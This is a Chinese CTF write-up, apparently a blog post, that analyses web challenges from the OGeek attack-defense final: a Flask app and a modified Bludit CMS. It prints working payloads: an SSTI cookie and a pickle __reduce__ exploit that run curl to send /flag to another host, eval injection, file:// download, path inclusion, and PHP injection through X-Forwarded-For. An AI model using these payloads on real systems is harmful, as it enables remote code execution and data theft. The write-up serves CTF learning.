OGeek決賽兩道Web總結(jié)分析

很久沒有打攻防賽了,致力于寫出Perfect文件監(jiān)控腳本我在這次比賽翻車了,服務(wù)器沒有pytyon2環(huán)境,所以回來(lái)更新成了python3了,旅游隊(duì)伍意外拿了個(gè)季軍,總的來(lái)說(shuō)贊一下這次比賽,體驗(yàn)還是不錯(cuò)的,小小總結(jié)一下決賽的Web(場(chǎng)上弟弟,賽后分析,不會(huì)java,漏洞也肯定沒找全,歡迎師傅貼個(gè)文章學(xué)習(xí)一波)python和php題目源碼下載地址:https://pan.baidu.com/s/1DdmgtN0cZpGsX_q1j-ooTQ 提取碼: 1jpa

0x01 mOtrix

一道python題,這里貼下源碼

from flask import Flask, request, render_template,send_from_directory, make_response
from Archives import Archives
import pickle,base64,os
from jinja2 import Environment
from random import choice
import numpy
import builtins
import io
import re

app = Flask(__name__)
Jinja2 = Environment()
def set_str(type,str):
    retstr = "%s'%s'"%(type,str)
    print(retstr)
    return eval(retstr)
def get_cookie():
    check_format = ['class','+','getitem','request','args','subclasses','builtins','{','}']
    return choice(check_format)

@app.route('/')
def index():
    global Archives
    resp = make_response(render_template('index.html', Archives = Archives))
    cookies = bytes(get_cookie(), encoding = "utf-8")
    value = base64.b64encode(cookies)
    resp.set_cookie("username", value=value)
    return resp

@app.route('/Archive/<int:id>')
def Archive(id):
    global Archives
    if id>len(Archives):
        return render_template('message.html', msg='文章ID不存在!', status='失敗')
    return render_template('Archive.html',Archive = Archives[id])

@app.route('/message',methods=['POST','GET'])
def message():
    if request.method == 'GET':
        return render_template('message.html')
    else:
        type = request.form['type'][:1]
        msg = request.form['msg']
        try:
            info = base64.b64decode(request.cookies.get('user'))
            info = pickle.loads(info)
            username = info["name"]
        except Exception as e:
            print(e)
            username = "Guest"

        if len(msg)>27:
            return render_template('message.html', msg='留言太長(zhǎng)了!', status='留言失敗')
        msg = msg.replace(' ','')
        msg = msg.replace('_', '')
        retstr = set_str(type,msg)
        return render_template('message.html',msg=retstr,status='%s,留言成功'%username)

@app.route('/hello',methods=['GET', 'POST'])
def hello():
    username = request.cookies.get('username')
    username = str(base64.b64decode(username), encoding = "utf-8")
    data = Jinja2.from_string("Hello , " + username + '!').render()
    is_value = False
    return render_template('hello.html', msg=data,is_value=is_value)


@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
    if request.method == 'GET':
        return render_template('getvdot.html')
    else:
        matrix1 = base64.b64decode(request.form['matrix1'])
        matrix2 = base64.b64decode(request.form['matrix2'])
        try:
            matrix1 = numpy.loads(matrix1)
            matrix2 = numpy.loads(matrix2)
        except Exception as e:
            print(e)
        result = numpy.vdot(matrix1,matrix2)
        print(result)
        return render_template('getvdot.html',msg=result,status='向量點(diǎn)積')


@app.route('/robots.txt',methods=['GET'])
def texts():
    return send_from_directory('/', 'flag', as_attachment=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0',port='5000',debug=True)

#我應(yīng)該沒在這上面動(dòng)過(guò)

這題的洞比較多也很明顯,開場(chǎng)就打飛了,在這上面翻車的,也在這上面薅了不少分......

1.內(nèi)置后門

@app.route('/robots.txt',methods=['GET'])
def texts():
    return send_from_directory('/', 'flag', as_attachment=True)

直接讀flag文件到robots.txt文件了,所以直接訪問(wèn)/robots.txt就拿到flag了。

2.代碼拼接

def set_str(type,str):
    retstr = "%s'%s'"%(type,str)
    print(retstr)
    return eval(retstr)

set_str在/message處進(jìn)行了調(diào)用,其中變量str取值msg,只進(jìn)行了簡(jiǎn)單的處理

        if len(msg)>27:
            return render_template('message.html', msg='留言太長(zhǎng)了!', status='留言失敗')
        msg = msg.replace(' ','')
        msg = msg.replace('_', '')
        retstr = set_str(type,msg)

所以可以任意拼接代碼,給msg賦值為

'+open('/flag').read()+'

觸發(fā)eval,直接read讀取flag

3.SSTI

@app.route('/hello',methods=['GET', 'POST'])
def hello():
    username = request.cookies.get('username')
    username = str(base64.b64decode(username), encoding = "utf-8")
    data = Jinja2.from_string("Hello , " + username + '!').render()
    is_value = False
    return render_template('hello.html', msg=data,is_value=is_value)

數(shù)據(jù)接口為cookie中的username,取值后進(jìn)行了一次base64解碼,通過(guò)Jinja2.from_string('****').render()來(lái)觸發(fā)SSTI,不會(huì)的闊以參考:https://www.exploit-db.com/exploits/46386,我們?cè)诖虻臅r(shí)候沒回顯,所以用的是反彈flag的方式,彈到本地然后再交,貼下payload

while True:
    for i in range(3,21):
        try:
            #payload = "system('cat /flag');"
            Url ="http://10.0.%s.4:5000/hello"% i 
            cookie = {'username':'e3sgKCkuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzkzXS5fX2luaXRfXy5fX2dsb2JhbHNfX1sic3lzIl0ubW9kdWxlc1sib3MiXS5zeXN0ZW0oJ2N1cmwgImh0dHA6Ly8xMC4xMC4yLjIwNzozMDAxL2ZsYWciIC1kICIkKGNhdCAvZj8/PykiJykgfX0='}
            #print Url
            IP = '10.0.%s.4'% i
            print 'Target:' + IP
            result=requests.post(url=Url,cookies = cookie,timeout=3)
            '''flag=result.text
            mat = re.compile(".*([0-9a-zA-Z]{20}).*")
            flag = mat.findall(flag)[0]
            print flag
            submit_token(flag)'''
            #submit_cookie(IP,flag)
        except:
            sleep(0.1)
    sleep(200)

本地起個(gè)服務(wù)接收并提交flag就行了

4.反序列化

@app.route('/message',methods=['POST','GET'])
def message():
    if request.method == 'GET':
        return render_template('message.html')
    else:
        type = request.form['type'][:1]
        msg = request.form['msg']
        try:
            info = base64.b64decode(request.cookies.get('user'))
            info = pickle.loads(info)
            username = info["name"]
        except Exception as e:
            print(e)
            username = "Guest"

        if len(msg)>27:
            return render_template('message.html', msg='留言太長(zhǎng)了!', status='留言失敗')
        msg = msg.replace(' ','')
        msg = msg.replace('_', '')
        retstr = set_str(type,msg)
        return render_template('message.html',msg=retstr,status='%s,留言成功'%username)

一個(gè)pickle的反序列化,沒啥東西,直接貼下payload

import requests
import pickle
import os
import base64
import time


class exp(object):
    def __reduce__(self):
        s = """curl -F token=mEs8j1Dl -F flag=$(cat /flag) http://10.10.0.2/api/flag/submit"""
        return (os.system, (s,))

e = exp()
s = pickle.dumps(e)
post_data = {'msg':'','type':''}
cookie = {'user',base64.b64encode(s).decode()}
if __name__ == '__main__':
    for i in range(1,21):
        url = http://10.0.%s.4:5000/message"% i
        try:
            response = requests.post(url = url, cookies = cookie,data = post_data)
        except:
            time.sleep(0.1)

反序列化第二個(gè)點(diǎn)是numpy(我看的時(shí)候看版本挺新的,由于其觸發(fā)主要還是pickle,所以這個(gè)點(diǎn)還是能夠觸發(fā)反序列化)

@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
    if request.method == 'GET':
        return render_template('getvdot.html')
    else:
        matrix1 = base64.b64decode(request.form['matrix1'])
        matrix2 = base64.b64decode(request.form['matrix2'])
        try:
            matrix1 = numpy.loads(matrix1)
            matrix2 = numpy.loads(matrix2)
        except Exception as e:
            print(e)
        result = numpy.vdot(matrix1,matrix2)
        print(result)
        return render_template('getvdot.html',msg=result,status='向量點(diǎn)積')

參考https://j7ur8.github.io/WebBook/Python/Numpy%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C.html

import numpy
import pickle

class genpoc(object):

    def __reduce__(self):
        import os
        s = """ls"""
        return os.system, (s,) 

e = genpoc()
flag=0
if flag:
    poc = pickle.dumps(e)
    print(poc)
else:
    with open('1.pkl', 'wb') as f:
        pickle.dump(e, f)

numpy.load('1.pkl');

把生成的1.pkl讀出來(lái)直接賦值給matrix1,matrix2打就行了(感謝f1sh大師傅的指導(dǎo)),本地沒環(huán)境,就不貼圖了~

0x02 OZero

這里先貼下場(chǎng)上的時(shí)候z3r0yu師傅對(duì)比后的分析日志,源碼下載地址:https://github.com/bludit/bludit/releases

被修改的幾個(gè)點(diǎn)
1. bl-kernel/site.class.php
'dribbble'=>        '',
'customFields'=>    '{}'


2. bl-kernel/pagex.class.php
// Returns the value from the field, false if the fields doesn't exists
// If you set the $option as TRUE, the function returns an array with all the values of the field
public function custom($field, $options=false)
{
    if (isset($this->vars['custom'][$field])) {
        if ($options) {
            return $this->vars['custom'][$field];
        }
        return $this->vars['custom'][$field]['value'];
    }
    return false;
}


3. bl-kernel/pages.class.php
elseif ($field=='custom') {
    if (isset($args['custom'])) {
        global $site;
        $customFields = $site->customFields();
        foreach ($args['custom'] as $customField=>$customValue) {
            $html = Sanitize::html($customValue);
            // Store the custom field as defined type
            settype($html, $customFields[$customField]['type']);
            $row['custom'][$customField]['value'] = $html;
        }
        unset($args['custom']);
        continue;
    }

} elseif ($field=='custom') {
    if (isset($args['custom'])) {
        global $site;
        $customFields = $site->customFields();
        foreach ($args['custom'] as $customField=>$customValue) {
            $html = Sanitize::html($customValue);
            // Store the custom field as defined type
            settype($html, $customFields[$customField]['type']);
            $row['custom'][$customField]['value'] = $html;
        }
        unset($args['custom']);
        continue;
    }

// Insert custom fields to all the pages in the database
// The structure for the custom fields need to be a valid JSON format
// The custom fields are incremental, this means the custom fields are never deleted
// The pages only store the value of the custom field, the structure of the custom fields are in the database site.php
public function setCustomFields($fields)
{
    $customFields = json_decode($fields, true);
    if (json_last_error() != JSON_ERROR_NONE) {
        return false;
    }
    foreach ($this->db as $pageKey=>$pageFields) {
        foreach ($customFields as $customField=>$customValues) {
            if (!isset($pageFields['custom'][$customField])) {
                $defaultValue = '';
                if (isset($customValues['default'])) {
                    $defaultValue = $customValues['default'];
                }
                $this->db[$pageKey]['custom'][$customField]['value'] = $defaultValue;
            }
        }
    }

    return $this->save();
}    


4. bl-kernel/helpers/tcp.class.php
file_put_contents可能存在任意寫
    public static function download($url, $destination)
    {
        $data = self::http($url, $method='GET', $verifySSL=true, $timeOut=30, $followRedirections=true, $binary=true, $headers=false);
        return file_put_contents($destination, $data);
    }

疑似一個(gè)反序列化之后的任意文件寫
public function __destruct(){
    if(isset($this->filepath) && isset($this->error_log)){ 
          file_put_contents(PATH_UPLOADS_PROFILES.$this->filepath,$this->error_log);
  }
}

5. bl-kernel/functions.php
疑似可以觸發(fā)上述的反序列化
// Check media
$music = $_GET['path'];
if(isset($music)){
    if(!Sanitize::pathFile($music)){
        $filename = basename($music);
        TCP::download($music,PATH_UPLOADS_PROFILES.md5($filename)."."."avi");
    }
    else{
        Log::set(__METHOD__.LOG_SEP.'Media request in  '.date('Y-m-d'), LOG_TYPE_INFO);

    }
}

比原代碼多了對(duì)json的處理
if (isset($args['customFields'])) {
    // Custom fields need to be JSON format valid, also the empty JSON need to be "{}"
    json_decode($args['customFields']);
    if (json_last_error() != JSON_ERROR_NONE) {
        return false;
    }
    $pages->setCustomFields($args['customFields']);
}

如果可以移動(dòng)并重命名,說(shuō)不定就可以利用和這個(gè)寫shell
// Move the image to a proper place and rename
$image = $imageDir.$nextFilename;
Filesystem::mv($file, $image);
chmod($image, 0644);

6. tokenCSRF 被刪除了,所以不需要兼顧token


7. bl-kernel/boot/rules/60.router.php
此處的include獲取可以配合errorlog來(lái)getshell

else{
    $pageKey = explode("/", $pageKey);
    foreach($pageKey as $key){
        if(constant($key))
            $plugin .=constant($key);
        else
            $plugin .="/".$key;
    }

    }
    $plugin = str_replace("..","/",$plugin);
    if(file_exists($plugin)){
        $plugin = addslashes($plugin);
        include $plugin;
    }
}

8. bl-kernel/boot/init.php   此處的new TCP跟上面的反序列化有點(diǎn)暗示
define('DEBUG_MODE', TRUE);
$https      = new TCP();

9. bl-kernel/admin/views/settings.php
<?php $L->p('Custom fields') ?>

10. bl-kernel/admin/views/new-content.php
<?php if (!empty($site->customFields())): ?>
<a class="nav-link" id="nav-custom-tab" data-toggle="tab" href="#nav-custom" role="tab" aria-controls="custom"><?php $L->p('Custom') ?></a>
<?php endif ?>


<?php if (!empty($site->customFields())): ?>
<div id="nav-custom" class="tab-pane fade" role="tabpanel" aria-labelledby="custom-tab">
<?php
    $customFields = $site->customFields();
    foreach($customFields as $field=>$options) {
        if ($options['type']=="string") {
            echo Bootstrap::formInputTextBlock(array(
                'name'=>'custom['.$field.']',
                'label'=>(isset($options['label'])?$options['label']:''),
                'value'=>(isset($options['default'])?$options['default']:''),
                'tip'=>(isset($options['tip'])?$options['tip']:''),
                'placeholder'=>(isset($options['placeholder'])?$options['placeholder']:'')
            ));
        } elseif ($options['type']=="bool") {
            echo Bootstrap::formCheckbox(array(
                'name'=>'custom['.$field.']',
                'label'=>(isset($options['label'])?$options['label']:''),
                'placeholder'=>(isset($options['placeholder'])?$options['placeholder']:''),
                'checked'=>(isset($options['checked'])?true:false),
                'labelForCheckbox'=>(isset($options['tip'])?$options['tip']:'')
            ));
        }
    }
?>
</div>
<?php endif ?>

這里分析三個(gè)漏洞(反序列化用文件操作應(yīng)該是可以觸發(fā)的),師傅們要是分析了其他的求貼一波文章。

1.任意文件下載

經(jīng)過(guò)對(duì)比分析的,可以看到tcp.class.php文件中的download方法存在任意寫的問(wèn)題,即向某個(gè)url發(fā)送GET請(qǐng)求,將返回?cái)?shù)據(jù)寫入$destination變量值命令的文件中。

#bl-kernel/helpers/tcp.class.php
    public static function download($url, $destination)
    {
        $data = self::http($url, $method='GET', $verifySSL=true, $timeOut=30, $followRedirections=true, $binary=true, $headers=false);
        return file_put_contents($destination, $data);
    }

該方法在bl-kernel/function.php中進(jìn)行了調(diào)用

    elseif ($for=='category') {
        $numberOfItems = $site->itemsPerPage();
        // Check media
        $music = $_GET['path'];
        if(isset($music)){
            if(!Sanitize::pathFile($music)){
                $filename = basename($music);
                TCP::download($music,PATH_UPLOADS_PROFILES.md5($filename)."."."avi");
            }
            else{
                Log::set(__METHOD__.LOG_SEP.'Media request in  '.date('Y-m-d'), LOG_TYPE_INFO);

            }
        }
        $list = $categories->getList($categoryKey, $pageNumber, $numberOfItems);
    }

也就是說(shuō)進(jìn)入了category就可以調(diào)用了TCP類中的download方法,從而可知,我們可以下載文件到本地,并會(huì)重命名為文件名的MD5值為新文件名,并且為avi格式文件,所以我們可以利用file協(xié)議來(lái)下載本地文件,即payload為

category/music?path=file:///flag

(這個(gè)點(diǎn)一開始我們沒審出來(lái),因?yàn)樯狭藗€(gè)文件監(jiān)控,發(fā)現(xiàn)突然生成了一個(gè)flag文件,然后直接腳本跑全場(chǎng)直接讀Archer大佬們生成的flag文件,就這樣開始起飛了,23333)

2.任意文件包含

同樣在對(duì)比分析的日志里

7. bl-kernel/boot/rules/60.router.php
此處的include獲取可以配合errorlog來(lái)getshell

if ($url->whereAmI()=='page' && !$url->notFound()) {
    $pageKey = $url->slug();
    if (Text::endsWith($pageKey, '/')) {
        $pageKey = rtrim($pageKey, '/');
        Redirect::url(DOMAIN_PAGES.$pageKey);
    }
    else{
    $pageKey = explode("/", $pageKey);
    foreach($pageKey as $key){
        if(constant($key))
            $plugin .=constant($key);
        else
            $plugin .="/".$key;
    }

    }
    
    $plugin = str_replace("..","/",$plugin);
    if(file_exists($plugin)){
        $plugin = addslashes($plugin);
        include $plugin;
    }
}

errorlog的點(diǎn)沒有觸發(fā)成功,不過(guò)這個(gè)倒是可以配合任意文件下載來(lái)Getshell,只要下載一個(gè)木馬文件,然后包含就成了,因?yàn)榍耙粋€(gè)洞打得早,所以基本都修了,簡(jiǎn)單分析一下這個(gè)點(diǎn)。
跟進(jìn)分析的話可以看出首先將url的path賦值給了變量$pageKey ,判斷是否正常以'/'結(jié)尾,我們直接看非'/'結(jié)尾的,將path用'/'分割,用constant函數(shù)來(lái)判斷是否是定義的常量,是便將常量值拼接,不是便重新恢復(fù)回path,最關(guān)鍵的是

    $plugin = str_replace("..","/",$plugin);
    if(file_exists($plugin)){
        $plugin = addslashes($plugin);
        include $plugin;

進(jìn)行..替換后,如果path表示的文件存在,addslashes()處理后直接進(jìn)行文件包含,也就是說(shuō)如果我url上帶的是一個(gè)真實(shí)路徑,就會(huì)直接文件包含了,這太真實(shí)了(在場(chǎng)上沒精力分析- -..)所以payload

http://x.x.x.x:xxx/flag

也可以結(jié)合前面進(jìn)行Getshell

3.代碼注入

首先貼一張賽后收到的圖片

看到這個(gè)我都懵了,我下源碼就掃了一遍,并沒有內(nèi)置的后門,所以肯定是有師傅調(diào)通了調(diào)用鏈,把代碼給寫進(jìn)去了,tql(近期滿課,木得時(shí)間看這些東西,吼了陌小生師傅分析了一波,這里就直接借鑒他的來(lái)寫了),文件路徑:bl-content/databases/security.php,由于文件路由,并不能直接訪問(wèn)這個(gè)文件,這個(gè)肯定是在調(diào)用過(guò)程中寫入的,觸發(fā)的話就闊以用的任意文件包含來(lái)觸發(fā)RCE,我們先來(lái)找一波調(diào)用鏈,我比較喜歡用全局搜索來(lái)跟代碼(所以我這么菜),全局找下blackList

跟到security.class.php中有個(gè)addToBlacklist方法,簡(jiǎn)單明了,用來(lái)加黑名單的

    // Add or update the current client IP on the blacklist
    public function addToBlacklist()
    {
        $ip = $this->getUserIp();
        $currentTime = time();
        $numberFailures = 1;

        if (isset($this->db['blackList'][$ip])) {
            $userBlack = $this->db['blackList'][$ip];
            $lastFailure = $userBlack['lastFailure'];

            // Check if the IP is expired, then renew the number of failures
            if($currentTime <= $lastFailure + ($this->db['minutesBlocked']*60)) {
                $numberFailures = $userBlack['numberFailures'];
                $numberFailures = $numberFailures + 1;
            }
        }

        $this->db['blackList'][$ip] = array('lastFailure'=>$currentTime, 'numberFailures'=>$numberFailures);
        Log::set(__METHOD__.LOG_SEP.'Blacklist, IP:'.$ip.', Number of failures:'.$numberFailures);
        return $this->save();
    }

......

    public function getUserIp()
    {
        if (getenv('HTTP_X_FORWARDED_FOR')) {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif (getenv('HTTP_CLIENT_IP')) {
            $ip = getenv('HTTP_CLIENT_IP');
        } else {
            $ip = getenv('REMOTE_ADDR');
        }
        return $ip;
    }

看下代碼就很清楚了,把登錄失敗的用戶的ip加到黑名單里,ip可以用XFF來(lái)構(gòu)造,所以變量$ip是我們可控的了,也就是如果某個(gè)ip觸發(fā)了黑名單規(guī)則,就會(huì)被記錄下來(lái),傳入$this->db,調(diào)用save函數(shù),跟進(jìn)看下

#\bl-kernel\abstract\dbjson.class.php
    public function save()
    {
        $data = '';
        if ($this->firstLine) {
            $data  = "<?php defined('Zero') or die('Zero CMS.'); ?>".PHP_EOL;
        }

        // Serialize database
        $data .= $this->serialize($this->db);

        // Backup the new database.
        $this->dbBackup = $this->db;

        // LOCK_EX flag to prevent anyone else writing to the file at the same time.
        if (file_put_contents($this->file, $data, LOCK_EX)) {
            return true;
        } else {
            Log::set(__METHOD__.LOG_SEP.'Error occurred when trying to save the database file.', LOG_TYPE_ERROR);
            return false;
        }
    }

將this->db的數(shù)據(jù)拼接到了變量$data中,然后直接進(jìn)行了file_put_contents操作,而在init.php中有申明了

define('DB_SECURITY', PATH_DATABASES.'security.php');

DB_SECURITY為傳入構(gòu)造函數(shù)的參數(shù),也就是file,即寫操作時(shí)將$data寫入到了security.php中,所以也就有了開場(chǎng)圖的東西。發(fā)個(gè)請(qǐng)求包

POST /admin/ HTTP/1.1
Host: 192.168.211.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Referer: http://192.168.211.128/admin/
X-Forwarded-For: <?php phpinfo(); ?>    #
Cookie: Zero-KEY=uihdv2ju8k4pfd6kl79fqpg6j3
Connection: close
Upgrade-Insecure-Requests: 1

tokenCSRF=92355c8ea77e31cc1fe5c1d7882d13dad37e9866&username=asd&password=asd&save=

在結(jié)合一下的文件包含洞

0x03 sec-login

本菜不會(huì)java,這題聽說(shuō)是反序列化,就不寫了

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容